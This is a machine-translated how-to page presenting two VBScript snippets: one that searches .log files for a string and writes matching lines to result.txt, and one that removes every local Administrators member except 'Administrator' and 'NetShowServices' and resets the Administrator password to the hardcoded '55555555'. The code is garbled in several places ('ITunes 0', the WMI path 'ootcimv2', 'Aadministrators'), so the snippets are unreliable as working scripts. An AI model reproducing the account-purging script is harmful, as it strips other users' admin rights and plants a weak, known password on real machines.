Get the App
SLTechnology News&Howtos  ›  Development  › 

How to write two vbs scripts

Shulou Source: shulou.com Published: 2022-06-03 08:33:55 10月19日 Update

This article focuses on "how to write two vbs scripts". Interested friends may wish to have a look at it. The method introduced in this paper is simple, fast and practical. Let the editor take you to learn how to write two vbs scripts.

Set objNetwork = CreateObject ("Wscript.Network")

StrComputer = objNetwork.ComputerName

Const ForReading = 1

Const ForAppending = 8

Dim arrFileLines ()

ITunes 0

Set objWMIService = GetObject ("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer & "ootcimv2")

Set colFiles = objWMIService.ExecQuery ("Select * from CIM_DataFile where Path ='\ search\'")

For Each objFile in colFiles

If objFile.Extension = "log" Then

FileName = objFile.Name

Wscript.Echo FileName

End IF

Next

Set objFSO = CreateObject ("Scripting.FileSystemObject")

Set objFile = objFSO.OpenTextFile ("input.txt", ForReading)

InputLine = objFile.ReadLine

ObjFile.Close

Set objFile = objFSO.OpenTextFile (FileName,ForReading)

Do Until objFile.AtEndOfStream

SearchLine = objFile.ReadLine

If InStr (SearchLine,InputLine) = 0 Then

Else

Redim Preserve arrFileLines (I)

ArrFileLines (I) = SearchLine

I=i+1

End If

Loop

ObjFile.Close

Set objFile = objFSO.OpenTextFile ("result.txt", ForAppending)

For l = Ubound (arrFileLines) to LBound (arrFileLines) Step-1

ObjFile.WriteLine arrFileLines (l)

Next

ObjFile.Close

/ / check for specific characters in a specific file in the Search directory and put the results in Result.txt.

Set objNetwork = CreateObject ("Wscript.Network")

StrComputer = objNetwork.ComputerName

StrUser = objNetwork.Name

StrStat = "False"

Set colGroups = GetObject ("WinNT://" & strComputer & "")

ColGroups.Filter = Array ("group")

For Each objGroup In colGroups

For Each objUser in objGroup.Members

If objUser.name = StrUser Then

If objGroup.Name = "Aadministrators" Then

StrStat = "True"

End If

End If

Next

Next

Set objGroup = GetObject ("WinNT://" & strComputer & "/ Administrators")

For Each objUser in objGroup.Members

If objUser.Name = "Administrator" OR objUser.Name = "NetShowServices" Then

If objUser.Name = "Administrator" AND StrStat = "True" Then

ObjUser.SetPassword "55555555"

End If

Else

ObjGroup.Remove (objUser.ADsPath)

End If

Next

/ / clear all administrator accounts when the user logs in, keep only Administrator and NetShowServices, and change the password of Administrator to 55555555

At this point, I believe you have a deeper understanding of "how to write two vbs scripts". You might as well do it in practice. Here is the website, more related content can enter the relevant channels to inquire, follow us, continue to learn!

Tags: Two script content learning practical deeper interest character practicality actual password simple operation file method time more friends user directory administrator Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno NVidia MariaDB Microsoft OPPO Reno MySQL